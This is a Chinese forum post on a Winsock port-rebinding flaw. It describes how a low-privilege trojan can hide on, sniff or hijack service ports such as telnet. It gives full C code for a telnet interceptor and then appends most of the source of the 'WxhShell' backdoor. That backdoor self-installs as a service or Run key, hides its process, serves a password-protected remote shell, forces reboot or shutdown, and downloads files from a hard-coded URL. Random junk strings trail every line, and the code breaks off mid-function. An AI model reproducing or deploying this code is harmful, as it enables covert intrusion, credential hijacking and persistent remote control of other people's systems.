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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gxa@da  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [&_c.ti  
7l+>WB_]  
  saddr.sin_family = AF_INET; d4(!9O.\  
w+ MCOAB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !u0|{6U  
4<c #3]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #@qd.,]2  
~m0l_:SF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q,ur[ &<  
JIJ79HB  
  这意味着什么?意味着可以进行如下的攻击: P`ZYm  
7R4xJ H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -`d9dJ dB  
`-,yJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <OR f{  
O C qI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -XcX1_  
:Ca]/]]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ??MF8 uv  
>o45vB4o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TOUP.,f/!  
\7l% @  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &uX| Ksq  
m`3Mev  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g#Doed.30=  
(=de#wh2]  
  #include 6<%W 8m\  
  #include v8PH(d2{@  
  #include ~4MUac^w  
  #include    E]opA$JQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Vy+UOV&v-  
  int main() ~sk{O%OI  
  { uoX] #<1J  
  WORD wVersionRequested; YY? }/r  
  DWORD ret; W{JNNf6G  
  WSADATA wsaData; ;R#:? r;t  
  BOOL val; Q|3SYJf  
  SOCKADDR_IN saddr; {\87]xJ  
  SOCKADDR_IN scaddr; Hf^Tok^6@]  
  int err; ? FlV<nE"J  
  SOCKET s; h_w_OCC&2  
  SOCKET sc; aucQZD-_"  
  int caddsize; F| ib=_)3  
  HANDLE mt; N=?! ~n9Q-  
  DWORD tid;   fBZ\,  
  wVersionRequested = MAKEWORD( 2, 2 ); $hCPmiI  
  err = WSAStartup( wVersionRequested, &wsaData ); >WKlR` J%  
  if ( err != 0 ) { ,pc\ )HR  
  printf("error!WSAStartup failed!\n"); BUp,bJpO  
  return -1; ku`bwS  
  } }'o[6#_*X  
  saddr.sin_family = AF_INET;  4hzS  
   o{QU?H5h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ku W$  
02_37!\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uI'g]18Hi  
  saddr.sin_port = htons(23); %uVbI'n)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dE[_]2];P  
  { @Z50S 8  
  printf("error!socket failed!\n"); Gkfc@[Z V  
  return -1; -_>g=a@&  
  } !edgziuO  
  val = TRUE; Sn _zhQxG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t G{?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x: Nd>Fb  
  { :2n(WXFFI  
  printf("error!setsockopt failed!\n"); *C0gpEf9S  
  return -1; CYxrKW l:'  
  } Rlq6I?S+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e>oE{_e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  fK$N|r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _:tclBc8R  
@3 UVl^T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q I.*6-(  
  { ,;_D~7L  
  ret=GetLastError(); jE&Onzc  
  printf("error!bind failed!\n"); -6()$cl}0  
  return -1; Vu6p l  
  } ,Cj8{s&;  
  listen(s,2); gw1| ?C  
  while(1) YBX7WZCR  
  { i"rrM1/r  
  caddsize = sizeof(scaddr); 0H V-e  
  //接受连接请求 4't@i1Ll(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yL&_>cV  
  if(sc!=INVALID_SOCKET) >v+ia%o  
  { kS>'6xXH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B1&H5gxgN  
  if(mt==NULL) LqHeLN  
  { aoZ`C3  
  printf("Thread Creat Failed!\n"); ~'4:{xH  
  break; >:ZlYZ6sI  
  } Wv   
  } [|sKu#yW  
  CloseHandle(mt); b=#3p  
  } \E'Nk$V3  
  closesocket(s); D4"](RXH  
  WSACleanup(); P7Th 94  
  return 0; WAj26";M(  
  }   >e4  
  DWORD WINAPI ClientThread(LPVOID lpParam) {d;eZt `  
  { TwZvz[u  
  SOCKET ss = (SOCKET)lpParam; qdn\8Pn  
  SOCKET sc; dwc$?Bg,5  
  unsigned char buf[4096]; %5_eos&<^)  
  SOCKADDR_IN saddr; ,u}n!quA  
  long num; ==psPyLF@  
  DWORD val; ))n7.pB9/  
  DWORD ret; o(W|BD!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @"~Mglgw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %qzpt{'?<  
  saddr.sin_family = AF_INET; u+]v. Mt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |wf:|%  
  saddr.sin_port = htons(23); y>S.B/ d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F:/R'0  
  { 5JbPB!5;  
  printf("error!socket failed!\n"); OpwZTy}1}  
  return -1; xNNoB/DR  
  } uTRa]D_q  
  val = 100; M} IRagm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6'Sc=;;:  
  { [@}{sH(#Ta  
  ret = GetLastError(); }lgqRg)F9[  
  return -1; .P=uR8  
  } 9?*BN\E5S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'aB0abr|  
  { o} #nf$v(  
  ret = GetLastError(); 9Byk/&$U  
  return -1; V*l0| ,9  
  } r\Wp\LfY&{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ufdC'2cp8  
  { tR5zlm(}  
  printf("error!socket connect failed!\n"); LnJ/t(KV  
  closesocket(sc); DA oOs}D  
  closesocket(ss); :):=KowI  
  return -1; ,q#^ _/?  
  } ]xfAdBi  
  while(1) s,^?|Eo;0  
  { !oU$(,#9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SaEe7eHd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 's$pr#V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 SVp]}!jI  
  num = recv(ss,buf,4096,0); 0k5Z l?  
  if(num>0) xPh%?j?*v  
  send(sc,buf,num,0); +G&h  
  else if(num==0) E{r_CR+8  
  break; ,_T,B'a:  
  num = recv(sc,buf,4096,0); "b*.>QuZ  
  if(num>0) $ 8w eh3p  
  send(ss,buf,num,0); &Ko}Pv  
  else if(num==0) 1fL@rR  
  break; FTt7o'U  
  } T\:3(+uK  
  closesocket(ss); =&,zWNz)  
  closesocket(sc); =~Jv*c  
  return 0 ; zQ {g~x  
  } GI$t8{M  
@+}Q<  
)BTJs)E  
========================================================== ]}9y>+>  
#;H,`r  
下边附上一个代码,,WXhSHELL QB@qzgEJ!,  
f? F i{m  
========================================================== 8'*z>1ZS5  
BzA(yCu$:  
#include "stdafx.h" ,ewg3mYHC&  
G=3/PYp  
#include <stdio.h> H/Goaf%  
#include <string.h> t1B0M4x9  
#include <windows.h> 6mEW*qp2F  
#include <winsock2.h> 'oTcx Jx  
#include <winsvc.h> NV;5T3  
#include <urlmon.h> y wk;  
Qd!;CoOmZs  
#pragma comment (lib, "Ws2_32.lib") 44?5]C7  
#pragma comment (lib, "urlmon.lib") $X9Ban]  
(k M\R|  
#define MAX_USER   100 // 最大客户端连接数 Xr M[8a  
#define BUF_SOCK   200 // sock buffer KLq u[{y.'  
#define KEY_BUFF   255 // 输入 buffer ;sNyN#  
_dsd{&  
#define REBOOT     0   // 重启 P1 (8foZA  
#define SHUTDOWN   1   // 关机 > Q@*o  
(eJr-xZ/  
#define DEF_PORT   5000 // 监听端口 $t 1]w]}d  
SlZL%C;  
#define REG_LEN     16   // 注册表键长度 `+B+RQl}[  
#define SVC_LEN     80   // NT服务名长度 U3lr<(r*  
|i?AtOt@f  
// 从dll定义API p`1d'n[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |gxU;"2`5~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ; Z61|@Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]-%ZN+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]rn!+z  
lIzJO$8cM  
// wxhshell配置信息 [p!C+ |rro  
struct WSCFG { gKb4n Nt  
  int ws_port;         // 监听端口 K;6K!6J:[  
  char ws_passstr[REG_LEN]; // 口令 tb/u@}")  
  int ws_autoins;       // 安装标记, 1=yes 0=no *&UVr  
  char ws_regname[REG_LEN]; // 注册表键名 y%TR2CvT  
  char ws_svcname[REG_LEN]; // 服务名 )\^o<x2S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :`3b|u=KZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }jiqUBn%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ADv a@P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6{azzk8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K^{`8E&A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cqg}dXn'  
Z mi<Z  
}; 83i%3[L  
gSR&CnqZ<  
// default Wxhshell configuration dhK$ XG  
struct WSCFG wscfg={DEF_PORT, a4`@z:l  
    "xuhuanlingzhe", _5U Fml9  
    1, bvG").8$  
    "Wxhshell", &v4w3'@1  
    "Wxhshell", #yr19i ?  
            "WxhShell Service",   |J(]  
    "Wrsky Windows CmdShell Service", mu"]B]  
    "Please Input Your Password: ", .j}u'!LKul  
  1, 2z0HB+Y}x  
  "http://www.wrsky.com/wxhshell.exe", U%k e 5uwP  
  "Wxhshell.exe" `Q(ac| 0  
    }; Q^MB%L;D  
c_ygwO3.Q  
// 消息定义模块 }lpcbm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; niy@'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4#2iL+   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~BS*x+M  
char *msg_ws_ext="\n\rExit."; ~iwEhF   
char *msg_ws_end="\n\rQuit.";  _&(ij(H  
char *msg_ws_boot="\n\rReboot..."; Go`omh b  
char *msg_ws_poff="\n\rShutdown..."; o4~ft!>  
char *msg_ws_down="\n\rSave to "; 3sp*.dk  
{f^30Fw  
char *msg_ws_err="\n\rErr!"; Ac7`nvI=  
char *msg_ws_ok="\n\rOK!"; "E''ZBLO~  
V'K$:9^x[8  
char ExeFile[MAX_PATH]; P< WD_W  
int nUser = 0; G~B V^  
HANDLE handles[MAX_USER]; lh#GD"^(w&  
int OsIsNt; wkJB5i^<w  
GV[%P  
SERVICE_STATUS       serviceStatus; _L$)~},cT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =r-Wy.a@  
3gabk/  
// 函数声明 qsk71L  
int Install(void); er#we=h  
int Uninstall(void); \o % ES  
int DownloadFile(char *sURL, SOCKET wsh); r`B+ KQ4  
int Boot(int flag); t91CxZQ^s  
void HideProc(void); f2yv7t T   
int GetOsVer(void); =]zPUzr,|  
int Wxhshell(SOCKET wsl); --^D)n  
void TalkWithClient(void *cs); rXm!3E6JL  
int CmdShell(SOCKET sock); }?fa+FQGp  
int StartFromService(void); ~36c0 =  
int StartWxhshell(LPSTR lpCmdLine); +'n1?^U  
8V|-BP5^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zf o.S[R@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HJcZ~5jf  
>8 JvnBFx=  
// 数据结构和表定义 Bp/8 >E O`  
SERVICE_TABLE_ENTRY DispatchTable[] = GzB%vsv9 5  
{ "V^jAPDXb  
{wscfg.ws_svcname, NTServiceMain}, ,o}[q92@w  
{NULL, NULL} Y 4714  
}; &9ZIf#R  
H~G=0_S  
// 自我安装 CqX%V":2  
int Install(void) =OHDp7GXO>  
{ d.} rn"(z  
  char svExeFile[MAX_PATH]; ,3n}*"K  
  HKEY key; l:|Fs=\  
  strcpy(svExeFile,ExeFile); xK y<o  
A&M/W'$s  
// 如果是win9x系统,修改注册表设为自启动 >u/yp[Ky  
if(!OsIsNt) { (w^&NU'e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ` q@~78`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EV(/@kN2  
  RegCloseKey(key); A!Yqj~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eoL)gIM%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )xK!i.  
  RegCloseKey(key); b,`\"'1  
  return 0; nWl0R=  
    } $U0(%lIU  
  } uf>w*[m5  
} @'rO=(-b  
else { % (.PRRI  
3PEs$m9e  
// 如果是NT以上系统,安装为系统服务 }GC{~ SZ4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #rC/y0niH  
if (schSCManager!=0) \bsm#vY,  
{ ibAA:I,d  
  SC_HANDLE schService = CreateService gU%GM  
  ( LtU+w*Gj  
  schSCManager, wS^-o  
  wscfg.ws_svcname, v6n(<0:  
  wscfg.ws_svcdisp, T*ic?!  
  SERVICE_ALL_ACCESS, c"$_V[m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -)Vj08aP  
  SERVICE_AUTO_START, s-ou;S3s  
  SERVICE_ERROR_NORMAL, A^Zs?<C-  
  svExeFile, &p%ctg  
  NULL, 2~4C5@SxL  
  NULL, 8`~]9ej  
  NULL, Tc*PDt0C  
  NULL, k^]~NP  
  NULL ;i:7E#@  
  ); <@=NDUI3*,  
  if (schService!=0) }*t~&l0  
  { cs5Xd  
  CloseServiceHandle(schService); p~b$+8#+  
  CloseServiceHandle(schSCManager); w '"7~uN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3OZ}&[3  
  strcat(svExeFile,wscfg.ws_svcname); 2uHp%fv;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {h=Ai[|l4Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?7+ 2i\L  
  RegCloseKey(key); p[eRK .$!  
  return 0; "<(~  
    } vuP1gem  
  } '8JaD6W9S  
  CloseServiceHandle(schSCManager); 'YeJGzsJp  
} OG+$F  
} b2Hpuej  
d]^i1  
return 1; AK!G#ug  
} S=2,jPX2r  
EGt)tI&  
// 自我卸载 )?WoL Ejq  
int Uninstall(void) U_~~PCi  
{ f,#xicSB*  
  HKEY key; E*l"uV  
x'qgpG}?]  
if(!OsIsNt) { )'g vaT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pDLo`F}A  
  RegDeleteValue(key,wscfg.ws_regname); >']H)c'2  
  RegCloseKey(key); J\*d4I<(Rt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |H4'*NP"  
  RegDeleteValue(key,wscfg.ws_regname); }VGiT~2$  
  RegCloseKey(key); Uww^Sq  
  return 0; _6' g]4  
  } b+hY^$//  
} . <B1i  
} hTm}j,H  
else { I}WJ0}R  
;'p'8lts  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h]#)41y<  
if (schSCManager!=0) * y B-N;I  
{ O2e "TH3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y)}aySQK^  
  if (schService!=0) :]s] =q&]  
  { M@\'Y$)Y{  
  if(DeleteService(schService)!=0) { ]@>|y2  
  CloseServiceHandle(schService); p"@|2a  
  CloseServiceHandle(schSCManager); X`b5h}c  
  return 0; [oj"Tn(  
  } SXEiyy[7v  
  CloseServiceHandle(schService); ht |r+v-  
  } >`:+d'Jv0  
  CloseServiceHandle(schSCManager); 66*o2D\Q*G  
} LDsYr]  
} FScQS.qF  
?>Aff`dHY  
return 1; "x)DE,  
} [XXN0+ /  
W<Lrfo&=Y]  
// 从指定url下载文件 g$b*#  
int DownloadFile(char *sURL, SOCKET wsh) .IXwa,  
{ y#+o*(=fRE  
  HRESULT hr; ?la_ +;m  
char seps[]= "/"; f#5JAR  
char *token; 8=~>B@'  
char *file; ShpnFuH  
char myURL[MAX_PATH]; lI 1lP 1  
char myFILE[MAX_PATH]; lNb\^b  
={^#E?  
strcpy(myURL,sURL); oK6lCGM5  
  token=strtok(myURL,seps); tOw 0(-:iq  
  while(token!=NULL) x8Sq+BY  
  { G$ FBx  
    file=token; ~<aB-. d  
  token=strtok(NULL,seps); C)j)j&  
  } .KN]a"]  
:!$z1u8R  
GetCurrentDirectory(MAX_PATH,myFILE); ">3@<f>  
strcat(myFILE, "\\"); +0Gep}&z.  
strcat(myFILE, file); Kcl$|T  
  send(wsh,myFILE,strlen(myFILE),0); #A; Z4jK  
send(wsh,"...",3,0); `qTY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %S.U`(.  
  if(hr==S_OK) vXbT E$  
return 0; aTsfl  
else J|-HZ-Wk|J  
return 1; sFK<:ka  
D OeKW  
} y6}):|  
SK52.xXJ  
// 系统电源模块 4Z }{hc\J  
int Boot(int flag) wVDB?gy%#  
{ : qRT9n$  
  HANDLE hToken; .h,xBT`}Ji  
  TOKEN_PRIVILEGES tkp; KU,w9<~i(  
rzDJH:W{2  
  if(OsIsNt) { 4&e@>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?LI9F7n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p8l#=]\ ;  
    tkp.PrivilegeCount = 1; L?x?+HPY.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z@!W? Ed  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I&8m5F?$`  
if(flag==REBOOT) { I})t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #~;8#!X  
  return 0; *GP_ut%  
} GDp p`'\  
else { !T#y r)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p^P y,  
  return 0; OPW"AB J  
} ,<b|@1\k  
  } _~Vz+nT  
  else { ~uadivli  
if(flag==REBOOT) { S7{.liHf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) % VpBB  
  return 0; nM-SDVFM  
} DWQQ615i  
else { mndl~/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l-}5@D[  
  return 0; RJwIN,&1.  
} $3[\:+  
} /v4S@SQ+  
yB%)D0  
return 1; p"IS"k%  
} D|j \ nQ  
8? Wxd65)  
// win9x进程隐藏模块 ]fo^43rn{  
void HideProc(void) 8G&+  
{ 3]n@c?lw  
_`i%9Ad.4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zI_GdQNfN  
  if ( hKernel != NULL ) 2 pa3}6P+  
  { P lH`(n#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $'YKB8C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tw;qY  
    FreeLibrary(hKernel); lk1Gs{(qhH  
  } yr2L  
\&&(ytL  
return; ) Zo_6%  
} 9,f<Nb(\  
7G(f1Y  
// 获取操作系统版本 5!jNL~M  
int GetOsVer(void) 6F.7Ws <  
{ nDB 2>J  
  OSVERSIONINFO winfo; 1]Q 2qs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #0hNk%X=  
  GetVersionEx(&winfo); "%''k~UD 4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &4&33D  
  return 1; .#55u+d,  
  else 4z%#ZIy3   
  return 0; |( 9#vt#  
} )S};k=kG  
jS3(>  
// 客户端句柄模块 F] ?@X  
int Wxhshell(SOCKET wsl) 4UD=Y?zK  
{ U?mf^'RE  
  SOCKET wsh; a,*p_:~i  
  struct sockaddr_in client; %m{.l4/!O  
  DWORD myID; 1"&;1Ts  
6$s0-{^  
  while(nUser<MAX_USER) br;H8-   
{ ()M@3={R  
  int nSize=sizeof(client); 7k=F6k0)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B$TChc3B  
  if(wsh==INVALID_SOCKET) return 1; @ Rx6 >52>  
|4S?>e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !Nl.Vb  
if(handles[nUser]==0) M*|VLOo=v  
  closesocket(wsh); 9/ 1+BQ  
else p^igscPF6  
  nUser++; $@_t5?n``F  
  } <2O7R}j7v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KBw9(  
R G0S  
  return 0; Afy .3T @)  
} n5+S"  
-}X?2Q  
// 关闭 socket G/z\^Q  
void CloseIt(SOCKET wsh) h!G^dW.  
{ ^@`e  
closesocket(wsh); .3&a{IxM]  
nUser--; o4 %Vt} K  
ExitThread(0); z{pC7e5  
} a We Bav}_  
>*= =wlOB  
// 客户端请求句柄 q)V1{B@  
void TalkWithClient(void *cs) O5qW*r'  
{ %x}&=zx0*1  
2zKo  
  SOCKET wsh=(SOCKET)cs; 1<a@p}  
  char pwd[SVC_LEN]; y=9Dxst"V  
  char cmd[KEY_BUFF]; p2x1xv  
char chr[1]; n{^<&GWox  
int i,j; (7;J"2M  
n^AP"1l8?0  
  while (nUser < MAX_USER) { 7"F|6JP"$c  
@q+cm JKv  
if(wscfg.ws_passstr) { BjyXQ9D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _}zo /kDA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z$c&=Q  
  //ZeroMemory(pwd,KEY_BUFF); gX$0[ sIS.  
      i=0; p,w|=@=  
  while(i<SVC_LEN) { w53z*l>ek  
t{Hh&HX  
  // 设置超时 0L:V#y-*  
  fd_set FdRead; 4`8IFK  
  struct timeval TimeOut; to&N22a$  
  FD_ZERO(&FdRead); \5Vp6^  
  FD_SET(wsh,&FdRead); lk_s!<ni  
  TimeOut.tv_sec=8; X'FEOF  
  TimeOut.tv_usec=0; .]j#y9>&w%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7|QGY7Tf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E kBae=  
]-um\A4f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3w/( /|0  
  pwd=chr[0]; crd|2bjp+  
  if(chr[0]==0xd || chr[0]==0xa) { G@!_ZM8h  
  pwd=0; g\o{}Q%X  
  break; .-SF$U_P*a  
  } 4= Tpi`  
  i++; .pM &jni Y  
    } Z 7s;F}=  
3@^>#U   
  // 如果是非法用户,关闭 socket (Qk&g"I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [,O`MU  
} ! Ea&]G  
cBifZv*l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bQwdgc),s{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L$1K7<i.  
"xvtqi,R  
while(1) { m ~u|VgD  
dD/t_ {h  
  ZeroMemory(cmd,KEY_BUFF); PwW^y#96  
sDLS*467  
      // 自动支持客户端 telnet标准   $%g\YdC  
  j=0; %K h2E2Pe  
  while(j<KEY_BUFF) { A\".t=+7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~`t%M?l  
  cmd[j]=chr[0]; qyg*n>nt  
  if(chr[0]==0xa || chr[0]==0xd) { atY *8I|  
  cmd[j]=0; K??1,I  
  break; ~ HK1X  
  } ]alh_U  
  j++; [_WI8~g Y  
    } g4N%PV8  
Z-(} l2\  
  // 下载文件 s$DGd T)  
  if(strstr(cmd,"http://")) { i2$*}Cu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); },DyU  
  if(DownloadFile(cmd,wsh)) bh6d./  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >0PUWr$8  
  else 8f?rEI\0GD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m@ i2#  
  } Dd| "iA  
  else { +0]'| tF>  
nQ5N=l  
    switch(cmd[0]) { 7p)N_cJD  
  aZ`<PdA  
  // 帮助 9nn>O?  
  case '?': { bvl~[p$W3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LGIalf*7  
    break;  ispkj'  
  } Z'Kd^`mt 9  
  // 安装 7}Bj|]b)~  
  case 'i': { }>V/H]B  
    if(Install()) MZT6g.ny  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NMXnrvS&  
    else hUVk54~l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "H>.':c"+3  
    break; /xcJo g~F,  
    } ?VB#GJ0M9  
  // 卸载 eGLO!DdxZ  
  case 'r': { U,PZMz`2j  
    if(Uninstall()) k, f)2<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bc@30KiQ ^  
    else re; Lg C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9#uIC7M  
    break; vYDSu.C@a  
    } zI:(33)  
  // 显示 wxhshell 所在路径 eUt=n)*`  
  case 'p': { );nz4/V  
    char svExeFile[MAX_PATH];  kI%peb?  
    strcpy(svExeFile,"\n\r"); aD2*.ln><  
      strcat(svExeFile,ExeFile); tM)Iir*U#  
        send(wsh,svExeFile,strlen(svExeFile),0); QU.0Elw  
    break; ,j y<o+!  
    } M;*$gV<x  
  // 重启 GuT6K}~|D  
  case 'b': { X~lZOVmS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @g4Shlx|  
    if(Boot(REBOOT)) !\^jt%e&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3:l DL2  
    else { 9`B0fv Q&  
    closesocket(wsh); ^] 6M["d/p  
    ExitThread(0); ABc)2"i:*  
    } RlrZxmPV>O  
    break; id^|\hDR  
    } 6 }!Z"  
  // 关机 v dU%R\  
  case 'd': { a9=>r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8lwFAiC8  
    if(Boot(SHUTDOWN)) h3kaD  
